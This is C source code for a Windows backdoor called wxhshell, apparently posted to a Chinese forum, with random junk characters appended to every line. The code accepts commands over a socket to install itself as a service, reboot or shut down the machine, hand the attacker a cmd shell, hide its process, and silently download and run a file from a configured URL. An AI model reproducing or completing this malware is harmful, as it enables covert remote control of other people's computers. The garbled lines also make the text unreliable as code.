  Rs:<'A  
  // 帮助 _tL*sA>[~)  
  case '?': { 0%}$@H5i  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [syuoJ  
    break; fEdQR->  
  } Bm%:Qc*  
  // 安装 dZRz'd  
  case 'i': { {SW104nb&#  
    if(Install()) 7[QU *1bk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <FMW%4   
    else }#q9>gx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J}TS-j0  
    break; +M (\R?@gr  
    } 7(eWBJfTo  
  // 卸载 oDx*}[/  
  case 'r': { 9'Y~! vY  
    if(Uninstall()) \*!?\Ko`W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yEtSyb~GK  
    else =+97VO(w]G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AShJt xxa  
    break; #18H Z4N  
    } 4>{q("r,  
  // 显示 wxhshell 所在路径 WYwsTsG{_  
  case 'p': { `Qv7aY  
    char svExeFile[MAX_PATH]; XY1NTo. =  
    strcpy(svExeFile,"\n\r"); IO`.]iG  
      strcat(svExeFile,ExeFile); 8=T;R&U^M  
        send(wsh,svExeFile,strlen(svExeFile),0); !k||-Q &  
    break; D<#+ R"  
    } u=jF\W9  
  // 重启 \S}&QV  
  case 'b': { Dz]&|5'N  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I_'S|L  
    if(Boot(REBOOT)) xqO'FQO%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IQoz8!guh:  
    else { q>%KIBh(  
    closesocket(wsh); cuBOE2vB.  
    ExitThread(0); 5l2Ph4(  
    } A<r@,*(g  
    break; 8Cs)_bj#!  
    } ~LuZ pV  
  // 关机 U'UV=:/-  
  case 'd': { S$+vRX7  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8}\VlH]  
    if(Boot(SHUTDOWN)) yd`xmc)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -B9C2  
    else { 234 OJ?  
    closesocket(wsh); e4yd n  
    ExitThread(0); k)b}"' I  
    }  ^vYH"2  
    break; 9loWh5_1Z  
    } 4gb2$"!  
  // 获取shell vJ7I [Z  
  case 's': { =2\k Jv3  
    CmdShell(wsh); PSI5$Vna4p  
    closesocket(wsh); dZIAotHN:  
    ExitThread(0); x:88E78  
    break; 0_}OKn)J  
  } ~urIA/  
  // 退出 tlV>  
  case 'x': { 1%]| O  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); f/~"_O%  
    CloseIt(wsh); Y _m4:9p  
    break; :`2<SF^0O  
    } iN"kv   
  // 离开 2xhwi.u  
  case 'q': { @ JZ I  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -/ ; y*mP  
    closesocket(wsh); ^G[xQcM73  
    WSACleanup(); {2vk<  
    exit(1); !lKO|Y  
    break; L)a8W   
        } K19/M1~  
  } 7cr@;%#  
  } Qg"hN  
;o8C(5xE|  
  // 提示信息 S(.AE@U  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o%i^t4J$e  
} ah1d0e P  
  } %%`Nq&'  
Y;8Ys&/t  
  return; K]Q#B|_T  
} SG_^Rd9 D  
<gF=$u|}3[  
// shell模块句柄 :6S!1roi  
int CmdShell(SOCKET sock) R  5-q{  
{ XAW$"^p  
STARTUPINFO si; [9(tIb!x  
ZeroMemory(&si,sizeof(si)); ?:vp3f#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &PaqqU.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; j5,1`7\7B  
PROCESS_INFORMATION ProcessInfo; ']Gqa$(YC  
char cmdline[]="cmd"; RbzSQr>a\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _ui03veA1  
  return 0; /x,gdZPX  
} f uQbDb&  
<`k\kZM  
// 自身启动模式 nDu f<mw  
int StartFromService(void) SNV~;@(h  
{ _BO:~x  
typedef struct M(|Qvh{Q6  
{ Tm(XM<  
  DWORD ExitStatus; {STOWuY  
  DWORD PebBaseAddress; g@wF2=  
  DWORD AffinityMask;  N-`Vb0;N  
  DWORD BasePriority; Zu`; S#Y  
  ULONG UniqueProcessId; l*>t@:2J  
  ULONG InheritedFromUniqueProcessId; hr_ 5D  
}   PROCESS_BASIC_INFORMATION; F-[zuYGp  
M #'br<]  
PROCNTQSIP NtQueryInformationProcess; C~4_Vc*  
sd9$4k"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \95qH ,w)T  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; RO[Ko-m|/N  
T Po%zZo  
  HANDLE             hProcess; A]ZCQ49  
  PROCESS_BASIC_INFORMATION pbi; EBlfwFd  
R,R[.2Vi  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5OeTOI()&5  
  if(NULL == hInst ) return 0; bwo-9B  
_OV\W'RrA  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ri4t/H  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B?A c  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); mkgGX|k;  
y6NOHPp@  
  if (!NtQueryInformationProcess) return 0; #=F"PhiX`  
Tlrr02>B{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !`=ms1%U  
  if(!hProcess) return 0; K*iy^}  
,K9\;{C  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <"A|Xv'Q  
^2f'I iE  
  CloseHandle(hProcess); 88}+.-3t$  
 o&uO]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9ZvBsG)  
if(hProcess==NULL) return 0; )Y%>t  
n][/c_]q  
HMODULE hMod; (Mi]vK.4  
char procName[255]; +Go(y S  
unsigned long cbNeeded; x ,$N!X  
piYv }4;:(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Td#D\d\R  
mr:;Wwd  
  CloseHandle(hProcess); +Qy*s1fit  
<;O=h; ~|  
if(strstr(procName,"services")) return 1; // 以服务启动 Y g>W.wA  
+./c=o/v  
  return 0; // 注册表启动 H QHFD0hv  
} N]n]7(e+0C  
+5J"G/f  
// 主模块 50!/%  
int StartWxhshell(LPSTR lpCmdLine) kN3T/96  
{ |GuIp8~  
  SOCKET wsl; ` nBCCz'Y!  
BOOL val=TRUE; &8'.Gw m}  
  int port=0; V]b1cDx{  
  struct sockaddr_in door; D|8vS8p  
JQ{ g' cT  
  if(wscfg.ws_autoins) Install(); ]zp5 6U|xa  
zJ{?'kp  
port=atoi(lpCmdLine); }e3M5LI1L  
[NcS[*qp  
if(port<=0) port=wscfg.ws_port;  w0QN5?  
[6x-c;H_4  
  WSADATA data;  >)ZX  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @|Z:7n6S  
+EJwWDJ!%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   34VyR a  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  }* iag\  
  door.sin_family = AF_INET; H5t 9Mg|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); X! 5N2x  
  door.sin_port = htons(port); }Ictnb  
H <CsB  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { rQiX7  
closesocket(wsl); :T~Aa(%(  
return 1; qGMM3a)Q  
} gyH'92ck  
YArNJ5z=  
  if(listen(wsl,2) == INVALID_SOCKET) { G yZYP\'S+  
closesocket(wsl); s vn[c*  
return 1; A.7:.5Cx'  
} ={' "ATX(U  
  Wxhshell(wsl); mhTpR0  
  WSACleanup(); Z4FyuWc3  
4X7y}F.J  
return 0; Hh @q;0ni  
 ToNi<~  
} BqZ^I eC$  
T=cSTS!P;q  
// 以NT服务方式启动 D^Dm, -  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >Bp%~8f  
{ rUfW0  
DWORD   status = 0; R_h(Z{d  
  DWORD   specificError = 0xfffffff; 1"46O Cu{  
zi:F/TlUC  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >JT{~SRB|Y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; m%V+px  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >(z{1'f{  
  serviceStatus.dwWin32ExitCode     = 0; EQPZV K/  
  serviceStatus.dwServiceSpecificExitCode = 0; xrx{8pf  
  serviceStatus.dwCheckPoint       = 0; #oMbE<//"  
  serviceStatus.dwWaitHint       = 0; /R#-mY  
FtN1ZZ"<*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); lEi,duS)  
  if (hServiceStatusHandle==0) return; \Ekez~k{`  
Wm:3_C +j  
status = GetLastError(); ]i*q*]x2u  
  if (status!=NO_ERROR) >`*iM  
{ [i[G" %Q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ))c;DJc  
    serviceStatus.dwCheckPoint       = 0; k/l@P  
    serviceStatus.dwWaitHint       = 0; Wq)'0U;{$  
    serviceStatus.dwWin32ExitCode     = status; ?97MW a   
    serviceStatus.dwServiceSpecificExitCode = specificError; Qv8#{y@U  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <mHptgd,  
    return; cb&y8!ci~  
  } e<5+&Cj  
oT 8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ->wY|7  
  serviceStatus.dwCheckPoint       = 0; $o\p["DP  
  serviceStatus.dwWaitHint       = 0; "b%hAdR  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5!#"8|oY  
} |PH]0.m5  
hM\QqZFyp  
// 处理NT服务事件,比如:启动、停止 *wt yyP@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;KQ'/nII  
{ X2@mQ&n  
switch(fdwControl) 4\pA^%73  
{ &_4A6  
case SERVICE_CONTROL_STOP: .u7d  
  serviceStatus.dwWin32ExitCode = 0; rQ}4\PTi  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; B0p>'O2  
  serviceStatus.dwCheckPoint   = 0; R $'}Z  
  serviceStatus.dwWaitHint     = 0; OpxVy _5,  
  { :Tuy]]k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O RQGay  
  } i?=3RdP/R1  
  return; miS+MK"  
case SERVICE_CONTROL_PAUSE: ("/*k  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #a#~YSnG  
  break; ^'EEry  
case SERVICE_CONTROL_CONTINUE: TG?;o/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; I.x0$ac7  
  break; _Fl]zs<  
case SERVICE_CONTROL_INTERROGATE: #*S/Sh?Q  
  break; gp-wlu4  
}; ?[!.TU?4N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q 4 Ye  
} 7]e]Y>wZap  
fS#/-wugOB  
// 标准应用程序主函数 x?CjRvT $  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Jq6p5jr"  
{ z*yN*M6t  
+Yi=W o/  
// 获取操作系统版本 @TgCI`E   
OsIsNt=GetOsVer(); 5\|[)~b  
GetModuleFileName(NULL,ExeFile,MAX_PATH); dUO~dV1  
8.-PQ  
  // 从命令行安装 #S<>+,Lk  
  if(strpbrk(lpCmdLine,"iI")) Install(); GQF7]j/  
Gw+z8^|C&}  
  // 下载执行文件 ?\vJ8H[bD  
if(wscfg.ws_downexe) { 2#+@bk>^{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) M8juab%y  
  WinExec(wscfg.ws_filenam,SW_HIDE); Y}1|/6eJ  
} K?I@'B'  
ZLL0 6p   
if(!OsIsNt) { P:*'x9`  
// 如果时win9x,隐藏进程并且设置为注册表启动 bO2$0!=I  
HideProc(); EiJSLL  
StartWxhshell(lpCmdLine); Q8:u1$}  
} 8 6L&u:o:  
else ~]"}s(J;  
  if(StartFromService()) Nm,v E7M  
  // 以服务方式启动 Hlz4f+#I  
  StartServiceCtrlDispatcher(DispatchTable); t4gD*j6J3  
else #mllVQ  
  // 普通方式启动 9MHb<~F  
  StartWxhshell(lpCmdLine); $ng\qJ"HF  
~Zj?%4  
return 0; Wb4sfP_  
}
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只看该作者 1 发表于: 2006-10-10
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